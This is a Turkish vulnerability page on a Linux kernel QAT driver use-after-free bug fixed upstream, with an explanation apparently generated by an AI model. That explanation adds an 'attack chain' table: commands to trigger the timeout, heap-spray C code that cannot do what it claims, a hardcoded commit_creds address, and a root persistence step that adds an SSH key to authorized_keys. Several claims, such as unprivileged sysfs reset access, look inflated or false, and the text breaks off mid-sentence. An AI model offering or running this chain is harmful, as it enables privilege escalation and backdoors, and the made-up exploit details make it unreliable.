BELİRSİZ Güvenlik Açığı
In the Linux kernel, the following vulnerability has been resolved: crypto: qat - cancel work on re-enable SR-IOV timeout The QAT reset worker queues SR-IOV reenable work using a work_struct and completion embedded in an on-stack adf_sriov_dev_data. If the completion wait times out, the reset worker can return while device_sriov_wq still holds or executes the stack-backed work item. Cancel the work on the device_sriov_wq on timeout before the stack frame unwinds.
🎯 Açık Nedir? / What is this vulnerability?
Kısaca:
Linux kernel’in crypto: qat (Intel QuickAssist Technology) sürücüsünde, SR‑IOV (Single Root I/O Virtualization) yeniden etkinleştirme sürecinde kullanılan bir work‑struct ve completion nesnesi, adf_sriov_dev_data adlı yapı içinde yığıt (stack) üzerinde oluşturuluyor. Reset işçi (reset worker) zaman aşımına (timeout) uğradığında bu yığıt‑tabanlı iş öğesi iptal edilmeden fonksiyon dönüşü gerçekleşiyor. Sonuçta:
- Use‑After‑Free / Stack‑Use‑After‑Free – işçi hâlâ
device_sriov_wqiş kuyruğunda bir referans tutarken yığıt çerçevesi (stack frame) serbest bırakılıyor. - Kernel‑space memory corruption – serbest kalan yığıt alanı üzerine başka bir iş (ör. başka bir kernel thread) yazabilir ve kontrol akışı saldırgan‑kontrolündeki koda yönlendirilebilir.
- Linux kernel, work_struct nesnelerinin heap üzerinde tahsis edilmesini bekler; yığıt üzerinde olması, iş kuyruğu tarafından işlenirken bellek yeniden kullanılabilir.
- Saldırgan, bu bellek çakışmasını controlled data (ör. bir
structiçindeki function pointer) ile doldurarak kernel‑mode code execution (KMCE) elde edebilir. - Çoğu dağıtımda QAT sürücüsü root yetkisi gerektirse de, sysfs üzerinden
resetve SR‑IOV kontrolü genellikle CAP_SYS_ADMIN yetkisiyle sınırlı değildir; bazı konfigürasyonlarda unprivileged kullanıcılar da bu dosyaları (ör./sys/bus/pci/devices/0000:xx:xx.x/reset) yazabilir.
Hangi kod yolu etkilendi?
1. qat_reset_worker() – QAT aygıtının reset işlemini yapan işçi thread.
2. adf_sriov_dev_data içinde tanımlı:
```c
struct adf_sriov_dev_data {
struct work_struct sriov_reenable_work;
struct completion sriov_reenable_done;
/ … /
};
```
Bu yapı stack üzerinde (struct adf_sriov_dev_data data;) yaratılıyor.
3. Reset worker, SR‑IOV yeniden etkinleştirme işini queue_work(device_sriov_wq, &data.sriov_reenable_work); ile kuyruğa ekler ve ardından:
```c
if (!wait_for_completion_timeout(&data.sriov_reenable_done,
msecs_to_jiffies(TIMEOUT))) {
/ timeout → return /
return;
}
```
4. Timeout durumunda return yapılır, data yığını fonksiyon sonunda pop olur, fakat device_sriov_wq hâlâ sriov_reenable_work’u işleyebilir. Bu, stack‑based work_struct’un serbest kalan bellek üzerinde yürütülmesine yol açar.
Neden bir güvenlik sorunu?
⚡ Saldırı Zinciri / Attack Chain
Aşağıdaki adımlar, yerel (local) bir saldırganın (ör. bir kiracı VM, bir konteyner içinde çalışan normal kullanıcı) bu hatayı kernel‑level root elde etmek için nasıl kullanabileceğini gösterir.
| Aşama | Açıklama | Örnek Komut / Payload |
|-------|----------|-----------------------|
| 1️⃣ Discovery | Hedef sistemde Intel QAT donanımı ve qat sürücüsü yüklü mü kontrol edilir. | ``bash<br># kernel modüllerini listele<br>lsmod | grep qat<br># /sys/bus/pci/devices//driver içinde qat driver var mı<br>grep -i qat /sys/bus/pci/devices//driver``
| 2️⃣ Reconnaissance | SR‑IOV destekli bir PCI cihazının reset ve sriov sysfs dosyaları erişilebilir mi öğrenilir. | ``bash<br>DEVICE=$(lspci -D | grep -i "QuickAssist" | awk '{print $1}')<br>echo $DEVICE<br>ls -l /sys/bus/pci/devices/$DEVICE/ | grep -E "reset|sriov"``
| 3️⃣ Exploitation – Trigger Timeout | Reset worker’ı başlatıp SR‑IOV re‑enable işlemini kasıtlı olarak uzun sürecek bir durum yaratılır (ör. sriov_numvfs değerini 0 → 64 arasında değiştirirken bir deadlock oluşturulur). Bu, wait_for_completion_timeout’un zaman aşımına uğramasını sağlar. | ``bash<br># Reset’i tetikle (unprivileged user bile yazabilir)\n echo 1 > /sys/bus/pci/devices/$DEVICE/reset\n # SR‑IOV yeniden etkinleştirme (örnek: 0 → 64 vfs)\n echo 64 > /sys/bus/pci/devices/$DEVICE/sriov_numvfs\n # Aynı anda bir başka işlemle (ör. echo 0) SR‑IOV’i kapatıp deadlock yarat\n echo 0 > /sys/bus/pci/devices/$DEVICE/sriov_numvfs &\n``
| 4️⃣ Exploitation – Heap‑Spray / Stack‑Spray | Kernel‑space’de work_struct’un bulunduğu yığıt alanını doldurmak için kmalloc‑slab spray yapılır. Kullanıcı‑space’den perf_event_open/msg_msg gibi primitive’ler kullanılarak aynı boyutta nesneler (≈ 64 B) oluşturulur; bu nesneler work_struct’un yerini alabilir. | ``c\n// C kodu (compile with -static -O2)\n#define SPRAY_SIZE 0x1000\nint main(){\n int fd[SPRAY_SIZE];\n for(int i=0;i<SPRAY_SIZE;i++)\n fd[i]=open(\"/dev/null\",O_RDONLY);\n pause(); // keep process alive\n}\n`\n(Arka planda msgget/msgsnd` ile aynı boyutta mesajlar da kullanılabilir.) |
| 5️⃣ Exploitation – Overwrite Function Pointer | work_struct->func alanı, spray edilen nesnelerden birinde controlled kernel address (ör. commit_creds(init_cred)) olarak ayarlanır. Bu, device_sriov_wq iş kuyruğu work_struct’u çalıştırdığında doğrudan privilege escalation sağlar. | ``c\n// Kernel‑space payload (ROP/inline assembly) – örnek\nvoid __user payload = (void )0xffffffff810a1420; // commit_creds(init_cred)\n// Spray nesnesinde func pointer'ı bu adrese yaz\n`\n(Spesifik adres, çekirdek sürümüne göre System.map//proc/kallsyms` ile bulunur.) |
| 6️⃣ Post‑exploitation | commit_creds(init_cred) çağrısı sayesinde süreç root olur. Ardından saldırgan kernel module yükleyebilir, ssh key ekleyebilir, container escape yapabilir. | ``bash\n# root shell elde edildi\nwhoami # -> root\n# örnek kalıcı backdoor\n echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...' >> /root/.ssh/authorized_keys\n`` |
> Not: Bu zincir, CAP_SYS_ADMIN gerektiren sysfs dosyalarına erişimin kısıtlı olmadığı bir ortamda (ör. bulut sağlayıcı
[🤖 GPT-OSS 120B via Groq]